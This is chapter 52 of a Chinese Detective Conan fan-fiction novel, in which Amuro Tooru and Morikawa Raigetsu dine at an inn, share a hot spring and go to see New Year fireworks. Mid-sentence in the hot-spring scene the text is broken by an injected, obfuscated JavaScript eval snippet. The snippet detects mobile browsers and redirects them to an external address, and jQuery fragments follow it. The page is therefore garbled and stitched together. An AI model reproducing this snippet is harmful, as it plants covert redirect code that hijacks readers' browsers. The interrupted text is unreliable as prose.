今天我有猫了吗 作品

52.第 52 章

安室透开玩笑:“还好阿遥机智,否则我估计要被狮子咬屁股了。”


“怎么会?我看安室先生对自己自信得很。”


森川来月夹起一块刺身,没好气地翻了个白眼。


“招呼不打安全措施不做就跳下去,安室先生是传说中蜘蛛侠的日本分侠吗?”


安室透滴汗:“哈哈,那倒没有。”


“我平时有进行攀岩训练,你看攀岩墙比狮园的高度高多了。”


呵呵,是嘛。


森川来月白眼翻上天,狠狠戳一团海葡萄。


怎么不说是在sAt机动队练习的攀登和下滑啊?


他看降谷先生就是想被狮子咬屁股!


晚餐安室透订的是独立和室包厢,店家主打木质装修风格,灯光线条柔和细腻,简约典雅,一株清雅的蝴蝶兰摆在窗台木几上,质朴的圆石围了汪清澈的泉水,小金鱼在水中闲适地摆尾。


身穿和服的女将撤掉小碟,端上最后一道甜点,轻轻膝行退出去,拉上拉门。


森川来月看着面前的胡萝卜味慕斯蛋糕,脸有点绿,他是真不爱吃胡萝卜。


见他脸色又白又红,安室透看出他不想吃:“怎么了?”


森川来月将碟子推开:“有些饱了。”


“饱了就不吃。”


“这顿饭欠阿遥好久了。”安室透把碟子挪开,给森川来月倒一杯水,“不是你没空就是我没空,再不然就是去的店打烊,今天可算给我还上了。”


这话说的,森川来月撇嘴,有点不高兴。


好像吃完这顿饭,往后大家就再也不需要联系,安室透可以随时跑路似的。


无人在意放在角落的胡萝卜慕斯,只有口袋里的黑果冻干着急,衣摆都被它撑得动了动。


森川来月没好气,隔着口袋轻轻拍了它一下。


他们在动物园待了一天,害怕他肚子饿,从动物园出来后安室透先带人吃饭,这一顿饭吃饱喝足差不多两小时,外面天都黑了。


金发男人穿了件深蓝色高领羊毛衫,外套过膝休闲黑色长款大衣,双腿笔挺修长,顶端射灯打亮了耀眼的金发,低垂的刘海在脸颊投下一抹阴影。


他站在柜台前签付款单,看上去根本不像是在结账,而是在签几千万的合同单。


他脸色平淡冷峻,淡淡散发着生人勿进的气息,臂弯却抱着件不属于他的雪白羽绒服。


羽绒服帽子非常大,边缘还有蓬松的毛毛,穿起来又软又可爱,男人一身黑冷被徒然驱散,增添了一点柔和与温暖。


一个蓝眸青年从洗手间快步走出来,男人快走两步,赶紧给他套羽绒服。


用餐的贵妇们原本都在隐晦打量,这下目睹完全程,立刻开始窃窃私语。


森川来月莫名背脊发凉,赶紧接过衣服穿上。


饭店和旅馆是同一个山庄,幽深的竹林小道直通山庄低调的门庭,有侍者在门口躬身迎接。


山庄旅馆占地面积太大,很贴心地安排了专属侍者,负责为前来入住的旅客讲解带路。


曲径通幽,山庄旅馆的回廊又长又深,途中偶尔会经过半开放的山庄庭院,窗外流水潺潺,竹林中的石灯笼散发着静谧温暖的光线,照亮每一位客人行走的道路。


山庄历史悠久,每个不起眼的摆件都有它独自的小故事,安室透越听越稀奇,心想风见那家伙到底都是从哪找的地方,难道平时工作这么忙,他还有空研究旅行杂志?


“客人的朋友应该去过很多地方旅行吧?”带路侍者感叹。


安室透奇怪道:“为什么这么说?”


“因为您朋友的眼力很不错呢。”


安室透疑惑,眼力?


青年比他们走得快,正站在走廊的古钱状木窗边上探头往外看,侍者示意安室透看青年脱下的木屐。


“您朋友脚下那块走廊木板是我们山庄的镇店之宝,这块名贵木材有几百年历史,每次我们都必须提醒客人避免穿木屐踩踏,建议绕行或者脱鞋。”


“但客人您的朋友不需提醒,竟然一眼就看出来了,眼力不得了。”


那块镇店之宝跟走廊其他木板颜色相差无几,一眼看上去根本没什么区别。


安室透若有所思,随意应了一声。


山庄不仅拥有自己的大浴场,而且每个独立套间都有独门独户的私汤温泉,私汤宽敞舒适,每个汤池都能容纳十个人。


安室透清洗完森川来月还没出来,他坐在池边的黑石块上,往温泉水中放下几只柚子。


正舀起一勺子温泉水淋湿身子,只听背后一阵窸窸窣窣的声音,回头一看,森川来月目光古怪,笔直瞪着自己。


安室透顺着视线低头,看到了自己的腹肌,再抬头,青年正打量他自己白花花的肚皮。


……唔,这个,呃……这要怎么安慰才好?


安室透全身上下就裹着一块布,发丝滴下的水划过他健康的小麦色肌肤,擦过他沟壑分明的腹肌,消失在人鱼线下松垮的毛巾中。


肌肉块状分明,充满成熟男人的线条感,任谁看都是一副血脉喷张,性感到窒息的俊男出浴图……而森川来月的小眼睛只注意到人家的巧克力腹肌!


恁马,为什么?


怎会如此??


他满脑子问号???


森川来月小腹平坦,也没有小肚腩,但跟安室透比起来那真是天差地别,雪白肚皮的颜色和人家完全是两个极端,降谷先生是穿衣显瘦脱衣有肉,而他……他从外到里都是个羸弱的小鸡崽!


明明他也是一拳头砸飞一辆车的特基拉好嘛?


凭什么他不能拥有这么漂亮的腹肌!


森川来月语气幽怨:“安室先生到底是怎么练的?”


安室透摸摸鼻子:“我经常去新米花酒店,它家酒店很适合锻炼,如果去高层还能包场,是个没什么人知道的好地方。”


森川来月懵圈,这说的什么意思?


安室透说:“就是爬楼梯,全楼层十次往返,平板支撑一小时,再十次往返……你怎么了?”


森川来月语气更幽怨了:“没什么,我还是吃吧。”


这都什么魔鬼训练菜单?吃饭它不香吗!


安室透被逗笑:“一般人确实不需要这种训练强度。”


“那安室先生为什么要这样训练?”森川来月眨眼,“莫非你不是普通人?”


“侦探有时候需要面对危险,这是我们的必修课。”


安室透很淡定,一本正经地胡说八道。


啊对对对。


森川来月睨了安室透一眼,轻哼着走进汤池。


又是攀岩又是爬楼梯,你们侦探的必修课不要太多。


“想训练也很简单,只需要每天坚持晨跑,减少晚上打游戏的时间。”安室透一脸不认同,“你看你总是不够睡。”


森川来月欲哭无泪。


打游戏只是借口,实际上每天都在出夜勤,晚上已经不够睡了早上怎么起得来晨跑。


他又不是降谷先生,只睡三小时就精神奕奕的怪物!


森川来月没好气,坚持己见掷地有声地说:“不!”


“真的,每天坚持半小时就……”


安室透猝然停下,视线情不自禁往下飘。


汤池泉水烟雾蒸腾,青年窝在水中乖巧极了,头发湿漉漉贴在颊边,脸蛋白里


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035006|161245||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


透红,眸子汪汪的全是水汽,红唇又水又润,看上去特别软。


他整个人松松软软像一块糯糯的年糕,肩头泛着淡淡的红,精致的锁骨斜飞上扬,还窝着一小颗水珠,肌肤莹白光亮,像一块温润的玉。


再往下,泉水中若隐若现浮现两抹红缨……安室透喉咙发紧,浑身燥热,赶紧捞过装酒水的小桶,随便选了罐饮料转移视线。


感觉越来越不妙,安室透勒令自己不能再多想,沉默着跟青年拉开距离。


森川来月其实也很紧张,没工夫注意安室透的奇怪神态。


一开始是被安室透转移了注意力,现在安静下来,他手脚都不知道该往哪里摆,只好规矩抱膝坐着。


森川来月从研究所出来时的日常记忆趋近于零,这半年时间太赶,每天都在家恶补知识,根本没那个空闲泡温泉,进澡堂什么的全赖暗中观察学习。


而且泡澡没法带胡萝卜,他现在身上什么都没有,没发现安室透的不对劲,更没注意到忽然止住的话头。


两人各怀心事,气氛微妙,泡完温泉赶紧爬上岸,彼此眼睛都规矩得很。


怕等会冷,森川来月披了件淡色厚羽织,配上淡绿色的和服,显得特别年轻活泼。


他感觉够厚了,安室透却拧着眉将他拉回来,硬是给他又戴了条围巾。


安室透全身上下除了和服就披一件薄羽织,森川来月立刻叛逆抗议:“我这穿得也太厚了!而且才刚泡完温泉一点也不冷。”


安室透双眉一竖:“是吗?你敢再感冒试试?我不想被咖啡厅所有人追杀。”


森川来月:擦,好冤枉。


他明明不是感冒,而且说到底这还不是降谷先生害的?


但是抗议无效只能被迫接受,森川来月的嘴撅起来高得像挂了只秤砣。


竹林幽径随处可见泉水冰镇的饮料,森川来月趴在石头小池边上选半天,被各种饮料口味挑花了眼。


安室透在远处喊他:“阿遥快点,他们说跨年烟火快开始了。”


“来了!”


青年趿拉木屐,提着草莓味牛乳小跑过来,他顶上头毛才刚吹干,特别蓬松,跑起来颠颠的。


安室透忍不住揉了揉森川来月的毛脑袋,“还以为你会喝那瓶胡萝卜味的。”


“偶尔也要换一种口味嘛。”


森川来月狡黠地眨眨眼,右手背在身后,指尖往袖中一推,胡萝卜张开次元口袋,美滋滋将另一瓶胡萝卜味牛乳吞进肚子。


夜晚仍有几阵寒风,但丝毫没有影响人们观看烟花的兴致。


跨海大桥上到处都是身穿和服的游客,他们脚穿木屐,披上毛披肩或羽织,三五成群步行上桥,打算找个最佳观赏位置等待即将绽放的烟花。


跨年烟火是当地的固定节目,时间持续一周,每年都有很多游客前来观赏,上桥前的位置临时搭建了夜市小摊,旧货摊跟套圈游戏最受欢迎,许多游客围在那里看热闹。


各种小吃摊也很多人光顾,章鱼烧和炒面摊前挤满了游客,冬天吃冷的特别爽,刨冰摊前也站满了人。


好难过,晚餐太丰盛,森川来月已经吃撑了,肚子到现在还是饱的。


话虽然是这么说,他的眼睛还是忍不住往小摊上瞟。


看那个苹果糖,拳头那么大,红彤彤的,上面流着的糖浆晶莹剔透,莹润光泽……森川来月咕咚吞了口水,摸了摸肚皮,大概可能也许他还能再吃亿点点?


安室透心领神会,示意他往前走,“这里人多别站着,我买完就来找你。”


好耶!


“谢谢安室先生。”森川来月很满意,得寸进尺,“请一定帮我挑个最大的!”